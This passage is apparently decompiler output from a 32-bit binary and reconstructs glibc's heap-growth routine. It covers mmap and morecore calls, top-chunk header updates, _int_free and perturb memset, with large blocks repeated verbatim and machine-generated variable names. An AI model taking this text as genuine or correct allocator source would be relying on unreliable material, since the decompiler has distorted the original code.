0x80b49eb int32_t v188; // 0x80b49f9 uint32_t v189; // 0x80b4b45 int32_t v190; // 0x80b4bbd int32_t v191; // 0x80b4ddb int32_t v192; // 0x80b4df1 int32_t v193; // 0x80b4d14 int32_t * v194; // 0x80b4f2a6 int32_t v195; // 0x80b4923 int32_t v196; // 0x80b4984 int32_t v197; // 0x80b49e5 int32_t v198; // 0x80b4ac0 int32_t v199; // 0x80b4aea int32_t v200; // 0x80b4b01 int32_t v201; // 0x80b4b53 int32_t v202; // 0x80b4b8b int32_t v203; // 0x80b4cd3 int32_t v204; // 0x80b4e1b int32_t * v205; // bp+031 int32_t v206; // 0x80b499f int32_t v207; // 0x80b49ba int32_t v208; // 0x80b4bb8 int32_t v209; // 0x80b4cd0 if (v65 >= g72) { // 0x80b48d8 if (g73 < g74) { int32_t v210 = v65 + 10 + v134 & v135; // 0x80b48f0 g101 = v210; if (v65 < v210) { int32_t * v211 = mmap(&v11->e0, v210, 3, 34, -1, v10); // 0x80b4d3b uint32_t v212 = (int32_t)v211; // 0x80b4d45_0 if (v211 == (int32_t *)-1) { int32_t v213 = *v20; // 0x80b4f02 g98 = v213; v137 = v213; int32_t * v214 = (int32_t *)34; // bp+055 // branch -> 0x80b48fa // 0x80b48fa v147 = (int32_t *)(v137 + 4); v182 = *v147 & -8; v139 = v182 + v137; v148 = (int32_t *)v139; if (a1 == (char *)0x8139c40) { // 0x80b4a9e v138 = v8 + g71; v172 = g81; v198 = v138; if (v172 == 2) { // 0x80b4ab5 v198 = v138 - v182; // branch -> 0x80b4ab8 } // 0x80b4ab8 g96 = v135; v145 = v198 + v136; v180 = v145 & v135; g102 = v180; v175 = v180; int32_t * v215; // bp+052 int32_t * v216; // bp+054 int32_t v217; // 0x80b4a0d if (v145 > v135) { // 0x80b4acd v161 = __default_morecore((int32_t *)v180); if (v161 != NULL) { // 0x80b4adf v173 = g65; g95 = v173; g1 = false; g103 = v173 == 0; if (v173 != 0) { // 0x80b4ae8 ((int32_t (*)())v173)(); // branch -> 0x80b4aea } // 0x80b4aea v199 = g102; v177 = v199; v216 = v214; v166 = NULL; v194 = v161; // branch -> 0x80b4af4 // 0x80b4af4 v156 = (int32_t)v194; if (g79 == 0) { // 0x80b4f0a g79 = v156; // branch -> 0x80b4b01 } // 0x80b4b01 v200 = (int32_t)(int32_t *)v199; v141 = g84 + v200; g84 = v141; if (v148 == v194) { // 0x80b4e8e if (v166 == NULL) { // 0x80b4e99 *(int32_t *)(g98 + 4) = v200 + v182 | 1; // branch -> 0x80b49cb // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v216; } // 0x80b4266 g98 = (int32_t)v77; return result2; } } // 0x80b4b19 if ((char)g81 != 2) { // 0x80b4ca4 if (v166 == NULL) { // 0x80b4ec5 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v194; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4caf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v194; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; v217 = v58 != 0x8139c40 ? 4 : 0; *(int32_t *)(result2 + 4) = v65 | v217 | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b26 if (v182 == 0) { // 0x80b4b43 if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v156 % 8; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b2d if (v148 > v194) { // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; v217 = v58 != 0x8139c40 ? 4 : 0; *(int32_t *)(result2 + 4) = v65 | v217 | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v216; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b36 g84 = v141 + v156 - v139; // branch -> 0x80b4b43 // 0x80b4b43 if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v156 % 8; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4cbb v175 = g102; // branch -> 0x80b4cc1 // 0x80b4cc1 v203 = v175; if ((g81 & 2) == 0) { // 0x80b4cc6 v209 = v175 + v182 + v136 & v135; g102 = v209; v203 = v209; // branch -> 0x80b4cd3 } // 0x80b4cd3 v170 = v203; v205 = (int32_t *)v203; if (v203 < 0x100000) { // 0x80b4cde g102 = 0x100000; v170 = 0x100000; v205 = (int32_t *)0x100000; // branch -> 0x80b4cea } // 0x80b4cea if (v64 < v205) { // 0x80b4cf6 v163 = mmap(&v11->e0, v170, 3, 34, -1, v10); if (v163 != (int32_t *)-1) { // 0x80b4d14 v193 = g102; v155 = (int32_t *)(v193 + (int32_t)v163); g81 |= 2; if (v163 != NULL) { v177 = v193; v216 = (int32_t *)34; v166 = v155; v194 = v163; // 0x80b4af4 v156 = (int32_t)v194; if (g79 == 0) { // 0x80b4f0a g79 = v156; // branch -> 0x80b4b01 } // 0x80b4b01 v200 = (int32_t)v205; v141 = g84 + v200; g84 = v141; if (v148 == v194) { // 0x80b4e8e if (v166 == NULL) { // 0x80b4e99 *(int32_t *)(g98 + 4) = v200 + v182 | 1; // branch -> 0x80b49cb // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v216; } // 0x80b4266 g98 = (int32_t)v77; return result2; } } // 0x80b4b19 if ((char)g81 != 2) { // 0x80b4ca4 if (v166 == NULL) { // 0x80b4ec5 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v194; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4caf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v194; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b26 if (v182 == 0) { // 0x80b4b43 if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v156 % 8; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b2d if (v148 > v194) { // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v216; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b36 g84 = v141 + v156 - v139; // branch -> 0x80b4b43 // 0x80b4b43 if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v156 % 8; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } v215 = (int32_t *)34; } else { v215 = (int32_t *)34; } } else { v215 = v214; } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4cc1 v203 = v175; if ((v172 & 2) == 0) { // 0x80b4cc6 v209 = v175 + v182 + v136 & v135; g102 = v209; v203 = v209; // branch -> 0x80b4cd3 } // 0x80b4cd3 v170 = v203; v205 = (int32_t *)v203; if (v203 < 0x100000) { // 0x80b4cde g102 = 0x100000; v170 = 0x100000; v205 = (int32_t *)0x100000; // branch -> 0x80b4cea } // 0x80b4cea if (v64 < v205) { // 0x80b4cf6 v163 = mmap(&v11->e0, v170, 3, 34, -1, v10); if (v163 != (int32_t *)-1) { // 0x80b4d14 v193 = g102; v155 = (int32_t *)(v193 + (int32_t)v163); g81 |= 2; if (v163 != NULL) { v177 = v193; v216 = (int32_t *)34; v166 = v155; v194 = v163; // 0x80b4af4 v156 = (int32_t)v194; if (g79 == 0) { // 0x80b4f0a g79 = v156; // branch -> 0x80b4b01 } // 0x80b4b01 v200 = (int32_t)v205; v141 = g84 + v200; g84 = v141; if (v148 == v194) { // 0x80b4e8e if (v166 == NULL) { // 0x80b4e99 *(int32_t *)(g98 + 4) = v200 + v182 | 1; // branch -> 0x80b49cb // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v216; } // 0x80b4266 g98 = (int32_t)v77; return result2; } } // 0x80b4b19 if ((char)g81 == 2) { // 0x80b4b26 if (v182 != 0) { // 0x80b4b2d if (v148 > v194) { // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v216; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b36 g84 = v141 + v156 - v139; // branch -> 0x80b4b43 // 0x80b4b43 if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v156 % 8; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = 